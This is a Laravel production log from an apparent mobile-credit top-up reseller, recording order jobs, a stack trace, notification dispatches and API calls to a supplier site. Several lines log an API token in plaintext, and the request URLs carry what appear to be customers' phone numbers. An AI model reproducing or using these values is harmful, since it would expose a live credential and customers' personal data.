[2026-03-24 12:29:41] production.ERROR: API failed for order 178602 {"order_id":178602,"error_message":"No query results for model [App\\Models\\PriceAsync].","error_code":0,"file":"/home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php","line":780,"stack_trace":"#0 /home/talaah/public_html/app/Services/ExternalSite/OrderExternalService.php(250): Illuminate\\Database\\Eloquent\\Builder->firstOrFail()
#1 /home/talaah/public_html/app/Services/ExternalSite/OrderExternalService.php(29): App\\Services\\ExternalSite\\OrderExternalService->doRequest(178602, 885, 1, 'c61d86cd-dbe4-4...', '[{\"key\":\"userna...', 31, 314)
#2 /home/talaah/public_html/app/Jobs/OrderApiJob.php(71): App\\Services\\ExternalSite\\OrderExternalService->sendOrder(178602)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): App\\Jobs\\OrderApiJob->handle()
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Util.php(43): Illuminate\\Container\\BoundMethod::{closure:Illuminate\\Container\\BoundMethod::call():35}()
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(96): Illuminate\\Container\\Util::unwrapIfClosure(Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(35): Illuminate\\Container\\BoundMethod::callBoundMethod(Object(Illuminate\\Foundation\\Application), Array, Object(Closure))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Container.php(799): Illuminate\\Container\\BoundMethod::call(Object(Illuminate\\Foundation\\Application), Array, Array, NULL)
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(129): Illuminate\\Container\\Container->call(Array)
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Bus\\Dispatcher->{closure:Illuminate\\Bus\\Dispatcher::dispatchNow():126}(Object(App\\Jobs\\OrderApiJob))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(App\\Jobs\\OrderApiJob))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(133): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(134): Illuminate\\Bus\\Dispatcher->dispatchNow(Object(App\\Jobs\\OrderApiJob), false)
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Queue\\CallQueuedHandler->{closure:Illuminate\\Queue\\CallQueuedHandler::dispatchThroughMiddleware():127}(Object(App\\Jobs\\OrderApiJob))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(App\\Jobs\\OrderApiJob))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(127): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(68): Illuminate\\Queue\\CallQueuedHandler->dispatchThroughMiddleware(Object(Illuminate\\Queue\\Jobs\\RedisJob), Object(App\\Jobs\\OrderApiJob))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Jobs/Job.php(102): Illuminate\\Queue\\CallQueuedHandler->call(Object(Illuminate\\Queue\\Jobs\\RedisJob), Array)
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(487): Illuminate\\Queue\\Jobs\\Job->fire()
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(437): Illuminate\\Queue\\Worker->process('redis', Object(Illuminate\\Queue\\Jobs\\RedisJob), Object(Illuminate\\Queue\\WorkerOptions))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(201): Illuminate\\Queue\\Worker->runJob(Object(Illuminate\\Queue\\Jobs\\RedisJob), 'redis', Object(Illuminate\\Queue\\WorkerOptions))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(148): Illuminate\\Queue\\Worker->daemon('redis', 'default', Object(Illuminate\\Queue\\WorkerOptions))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(131): Illuminate\\Queue\\Console\\WorkCommand->runWorker('redis', 'default')
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): Illuminate\\Queue\\Console\\WorkCommand->handle()
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Util.php(43): Illuminate\\Container\\BoundMethod::{closure:Illuminate\\Container\\BoundMethod::call():35}()
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(96): Illuminate\\Container\\Util::unwrapIfClosure(Object(Closure))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(35): Illuminate\\Container\\BoundMethod::callBoundMethod(Object(Illuminate\\Foundation\\Application), Array, Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Container.php(799): Illuminate\\Container\\BoundMethod::call(Object(Illuminate\\Foundation\\Application), Array, Array, NULL)
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Console/Command.php(211): Illuminate\\Container\\Container->call(Array)
#29 /home/talaah/public_html/vendor/symfony/console/Command/Command.php(341): Illuminate\\Console\\Command->execute(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Illuminate\\Console\\OutputStyle))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Console/Command.php(180): Symfony\\Component\\Console\\Command\\Command->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Illuminate\\Console\\OutputStyle))
#31 /home/talaah/public_html/vendor/symfony/console/Application.php(1102): Illuminate\\Console\\Command->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#32 /home/talaah/public_html/vendor/symfony/console/Application.php(356): Symfony\\Component\\Console\\Application->doRunCommand(Object(Illuminate\\Queue\\Console\\WorkCommand), Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#33 /home/talaah/public_html/vendor/symfony/console/Application.php(195): Symfony\\Component\\Console\\Application->doRun(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Console/Kernel.php(198): Symfony\\Component\\Console\\Application->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1235): Illuminate\\Foundation\\Console\\Kernel->handle(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#36 /home/talaah/public_html/artisan(13): Illuminate\\Foundation\\Application->handleCommand(Object(Symfony\\Component\\Console\\Input\\ArgvInput))
#37 {main}","previous_exception":null,"context":{"job_class":"App\\Jobs\\OrderApiJob","timestamp":"2026-03-24 12:29:41","memory_usage":59244544,"memory_peak":59244544}} 
[2026-03-24 12:30:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"P5aY668iXHKVnbiIpFgEmstjyjSQ41Mj","execution_time":"2026-03-24 12:30:02"} 
[2026-03-24 12:30:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"P5aY668iXHKVnbiIpFgEmstjyjSQ41Mj","execution_time":"2026-03-24 12:30:02"} 
[2026-03-24 12:30:02] production.INFO: Executing GetProducts task...  
[2026-03-24 12:30:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 12:30:02] production.INFO: Executing GetProducts task...  
[2026-03-24 12:30:04] production.INFO: async() رجع: true  
[2026-03-24 12:30:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 12:30:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 12:30:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 12:30:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 12:30:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 12:30:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 12:30:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 12:30:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 12:30:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 12:30:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 12:30:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 12:30:40] production.INFO: SendAcceptReject: Notification queued {"user_id":1771,"notification_type":"request_approved","reference_id":18605} 
[2026-03-24 12:30:41] production.INFO: Constructing job for order: 178604  
[2026-03-24 12:30:41] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1771  
[2026-03-24 12:30:44] production.INFO: Handling job for order: 178604  
[2026-03-24 12:30:44] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 12:30:44] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:30:44] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=ec15dba3-5cb9-466c-b8e1-add45489d23d&Player_ID=0953485992  
[2026-03-24 12:30:44] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=ec15dba3-5cb9-466c-b8e1-add45489d23d&Player_ID=0953485992","has_body":false} 
[2026-03-24 12:30:45] production.INFO: Operation sent successfully {"operation_id":163531,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ES5ml-1774344645","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 12:30:45"}},"processed_data":{"order_number":"ORD-ES5ml-1774344645","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 12:31:41] production.INFO: SendAcceptReject: Notification queued {"user_id":314,"notification_type":"order_approved","reference_id":178602} 
[2026-03-24 12:31:42] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 314  
[2026-03-24 12:32:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"9PRDusrqROXfdukjnVOV4tt6zml71sJs","execution_time":"2026-03-24 12:32:03"} 
[2026-03-24 12:32:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"9PRDusrqROXfdukjnVOV4tt6zml71sJs","execution_time":"2026-03-24 12:32:03","total_operations":1,"sites_count":1} 
[2026-03-24 12:32:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"9PRDusrqROXfdukjnVOV4tt6zml71sJs","execution_time":"2026-03-24 12:32:03","site_id":4,"site_name":"swgamessls","orders_count":1,"order_ids":["ORD-ES5ml-1774344645"]} 
[2026-03-24 12:32:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"9PRDusrqROXfdukjnVOV4tt6zml71sJs","execution_time":"2026-03-24 12:32:03","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 12:32:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"9PRDusrqROXfdukjnVOV4tt6zml71sJs","execution_time":"2026-03-24 12:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 12:32:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"9PRDusrqROXfdukjnVOV4tt6zml71sJs","execution_time":"2026-03-24 12:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ES5ml-1774344645","operation_id":163531,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 12:32:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"9PRDusrqROXfdukjnVOV4tt6zml71sJs","execution_time":"2026-03-24 12:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ES5ml-1774344645","operation_id":163531,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 12:32:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"9PRDusrqROXfdukjnVOV4tt6zml71sJs","execution_time":"2026-03-24 12:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ES5ml-1774344645","operation_id":163531,"count":1} 
[2026-03-24 12:32:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"9PRDusrqROXfdukjnVOV4tt6zml71sJs","execution_time":"2026-03-24 12:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ES5ml-1774344645","operation_id":163531,"count":1} 
[2026-03-24 12:32:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"9PRDusrqROXfdukjnVOV4tt6zml71sJs","execution_time":"2026-03-24 12:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ES5ml-1774344645","operation_id":163531,"user_id":237,"notification_type":"order_approved","reference_id":178604} 
[2026-03-24 12:32:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"9PRDusrqROXfdukjnVOV4tt6zml71sJs","execution_time":"2026-03-24 12:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ES5ml-1774344645","operation_id":163531,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 12:32:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"9PRDusrqROXfdukjnVOV4tt6zml71sJs","execution_time":"2026-03-24 12:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ES5ml-1774344645","operation_id":163531,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 12:32:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"9PRDusrqROXfdukjnVOV4tt6zml71sJs","execution_time":"2026-03-24 12:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ES5ml-1774344645","operation_id":163531,"processed":1,"errors":0} 
[2026-03-24 12:32:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"9PRDusrqROXfdukjnVOV4tt6zml71sJs","execution_time":"2026-03-24 12:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ES5ml-1774344645","operation_id":163531,"processed":1,"errors":0} 
[2026-03-24 12:32:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"9PRDusrqROXfdukjnVOV4tt6zml71sJs","execution_time":"2026-03-24 12:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ES5ml-1774344645","operation_id":163531} 
[2026-03-24 12:32:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 237  
[2026-03-24 12:32:19] production.INFO: SendAcceptReject: Notification queued {"user_id":1298,"notification_type":"order_approved","reference_id":178605} 
[2026-03-24 12:32:21] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1298  
[2026-03-24 12:33:24] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"825.0","mainamount":"825","operation_number":"158124345","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php404d3i171frq3kJwohj"}},"user_id":1038} 
[2026-03-24 12:33:24] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 12:33:24] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 12:33:24] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 12:33:24] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 12:33:24] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 12:33:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 12:33:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 12:33:25] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 12:33:25] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18606,"user_id":1038,"amount":825.0,"admins_notified":7} 
[2026-03-24 12:33:46] production.INFO: SendAcceptReject: Notification queued {"user_id":1597,"notification_type":"order_approved","reference_id":178603} 
[2026-03-24 12:34:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"M5Q02WqLmXkhTFEwsjhyz9XVvMZgwRAT","execution_time":"2026-03-24 12:34:01"} 
[2026-03-24 12:34:01] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"M5Q02WqLmXkhTFEwsjhyz9XVvMZgwRAT","execution_time":"2026-03-24 12:34:01"} 
[2026-03-24 12:34:08] production.INFO: SendAcceptReject: Notification queued {"user_id":1038,"notification_type":"request_approved","reference_id":18606} 
[2026-03-24 12:34:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1038  
[2026-03-24 12:35:01] production.INFO: Executing GetProducts task...  
[2026-03-24 12:35:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 12:35:01] production.INFO: Executing GetProducts task...  
[2026-03-24 12:35:03] production.INFO: async() رجع: true  
[2026-03-24 12:35:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 12:35:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 12:35:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 12:35:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 12:35:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 12:35:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 12:35:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 12:35:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 12:35:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 12:35:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 12:35:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 12:36:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"jFaCUnInzHM2h1gZyMw5ul1O8putmZSi","execution_time":"2026-03-24 12:36:02"} 
[2026-03-24 12:36:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"jFaCUnInzHM2h1gZyMw5ul1O8putmZSi","execution_time":"2026-03-24 12:36:02"} 
[2026-03-24 12:36:13] production.INFO: Constructing job for order: 178607  
[2026-03-24 12:36:14] production.INFO: Handling job for order: 178607  
[2026-03-24 12:36:14] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 12:36:14] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:36:14] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/39/params?qty=1&uuid=0060e4fe-e02c-4a28-9bb5-2b93cd0a50c8&Player_ID=0991308978  
[2026-03-24 12:36:14] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/39/params?qty=1&uuid=0060e4fe-e02c-4a28-9bb5-2b93cd0a50c8&Player_ID=0991308978","has_body":false} 
[2026-03-24 12:36:14] production.INFO: Operation sent successfully {"operation_id":163532,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Tjxgd60-1774344974","amount":82.191339999999996734914020635187625885009765625,"status":"processing","product":"77.88 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 12:36:14"}},"processed_data":{"order_number":"ORD-Tjxgd60-1774344974","amount":82.191339999999996734914020635187625885009765625,"status":"processing","product":"77.88 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 12:36:18] production.INFO: Constructing job for order: 178608  
[2026-03-24 12:36:20] production.INFO: Handling job for order: 178608  
[2026-03-24 12:36:20] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 12:36:20] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:36:20] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/27/params?qty=1&uuid=3f63a7d3-909c-43f4-9a01-4aac1465c5cc&Player_ID=0991308978  
[2026-03-24 12:36:20] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/27/params?qty=1&uuid=3f63a7d3-909c-43f4-9a01-4aac1465c5cc&Player_ID=0991308978","has_body":false} 
[2026-03-24 12:36:21] production.INFO: Operation sent successfully {"operation_id":163533,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-08tBPfE-1774344981","amount":4.05820999999999987295495884609408676624298095703125,"status":"processing","product":"3.85 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 12:36:21"}},"processed_data":{"order_number":"ORD-08tBPfE-1774344981","amount":4.05820999999999987295495884609408676624298095703125,"status":"processing","product":"3.85 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 12:36:39] production.INFO: SendAcceptReject: Notification queued {"user_id":1597,"notification_type":"order_approved","reference_id":178606} 
[2026-03-24 12:37:02] production.INFO: Constructing job for order: 178609  
[2026-03-24 12:37:04] production.INFO: Handling job for order: 178609  
[2026-03-24 12:37:04] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 12:37:04] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:37:04] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/6/params?qty=1&uuid=4eacdabd-fc5f-40d7-a759-521a01ba8085&Player_ID=0954373482  
[2026-03-24 12:37:04] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/6/params?qty=1&uuid=4eacdabd-fc5f-40d7-a759-521a01ba8085&Player_ID=0954373482","has_body":false} 
[2026-03-24 12:37:05] production.INFO: Operation sent successfully {"operation_id":163534,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-9cEWKCQe-1774345025","amount":26.38340000000000173940861714072525501251220703125,"status":"processing","product":"25 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 12:37:05"}},"processed_data":{"order_number":"ORD-9cEWKCQe-1774345025","amount":26.38340000000000173940861714072525501251220703125,"status":"processing","product":"25 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 12:38:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"aaCyLI5L1gXl55KsVeBLDP14EekekQX0","execution_time":"2026-03-24 12:38:02"} 
[2026-03-24 12:38:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"aaCyLI5L1gXl55KsVeBLDP14EekekQX0","execution_time":"2026-03-24 12:38:02","total_operations":3,"sites_count":1} 
[2026-03-24 12:38:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"aaCyLI5L1gXl55KsVeBLDP14EekekQX0","execution_time":"2026-03-24 12:38:02","site_id":4,"site_name":"swgamessls","orders_count":3,"order_ids":["ORD-Tjxgd60-1774344974","ORD-08tBPfE-1774344981","ORD-9cEWKCQe-1774345025"]} 
[2026-03-24 12:38:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"aaCyLI5L1gXl55KsVeBLDP14EekekQX0","execution_time":"2026-03-24 12:38:02","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 12:38:02] production.INFO: Constructing job for order: 178610  
[2026-03-24 12:38:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"aaCyLI5L1gXl55KsVeBLDP14EekekQX0","execution_time":"2026-03-24 12:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 12:38:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"aaCyLI5L1gXl55KsVeBLDP14EekekQX0","execution_time":"2026-03-24 12:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Tjxgd60-1774344974","operation_id":163532,"processed":3,"skipped":0,"updates_prepared":3} 
[2026-03-24 12:38:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"aaCyLI5L1gXl55KsVeBLDP14EekekQX0","execution_time":"2026-03-24 12:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Tjxgd60-1774344974","operation_id":163532,"total_items":3,"chunks":1,"chunk_size":10} 
[2026-03-24 12:38:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"aaCyLI5L1gXl55KsVeBLDP14EekekQX0","execution_time":"2026-03-24 12:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Tjxgd60-1774344974","operation_id":163532,"count":3} 
[2026-03-24 12:38:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"aaCyLI5L1gXl55KsVeBLDP14EekekQX0","execution_time":"2026-03-24 12:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Tjxgd60-1774344974","operation_id":163532,"count":3} 
[2026-03-24 12:38:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"aaCyLI5L1gXl55KsVeBLDP14EekekQX0","execution_time":"2026-03-24 12:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Tjxgd60-1774344974","operation_id":163532,"user_id":43,"notification_type":"order_approved","reference_id":178608} 
[2026-03-24 12:38:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"aaCyLI5L1gXl55KsVeBLDP14EekekQX0","execution_time":"2026-03-24 12:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Tjxgd60-1774344974","operation_id":163532,"user_id":619,"notification_type":"order_approved","reference_id":178609} 
[2026-03-24 12:38:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"aaCyLI5L1gXl55KsVeBLDP14EekekQX0","execution_time":"2026-03-24 12:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Tjxgd60-1774344974","operation_id":163532,"user_id":43,"notification_type":"order_approved","reference_id":178607} 
[2026-03-24 12:38:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"aaCyLI5L1gXl55KsVeBLDP14EekekQX0","execution_time":"2026-03-24 12:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Tjxgd60-1774344974","operation_id":163532,"chunk_number":1,"processed":3,"errors":0,"total_operations":3,"total_orders":3,"total_codes":0,"total_refunds":0} 
[2026-03-24 12:38:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"aaCyLI5L1gXl55KsVeBLDP14EekekQX0","execution_time":"2026-03-24 12:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Tjxgd60-1774344974","operation_id":163532,"total_processed":3,"total_errors":0,"chunks_processed":1} 
[2026-03-24 12:38:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"aaCyLI5L1gXl55KsVeBLDP14EekekQX0","execution_time":"2026-03-24 12:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Tjxgd60-1774344974","operation_id":163532,"processed":3,"errors":0} 
[2026-03-24 12:38:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"aaCyLI5L1gXl55KsVeBLDP14EekekQX0","execution_time":"2026-03-24 12:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Tjxgd60-1774344974","operation_id":163532,"processed":3,"errors":0} 
[2026-03-24 12:38:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"aaCyLI5L1gXl55KsVeBLDP14EekekQX0","execution_time":"2026-03-24 12:38:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Tjxgd60-1774344974","operation_id":163532} 
[2026-03-24 12:38:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 43  
[2026-03-24 12:38:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 619  
[2026-03-24 12:38:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 43  
[2026-03-24 12:38:03] production.INFO: Handling job for order: 178610  
[2026-03-24 12:38:03] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
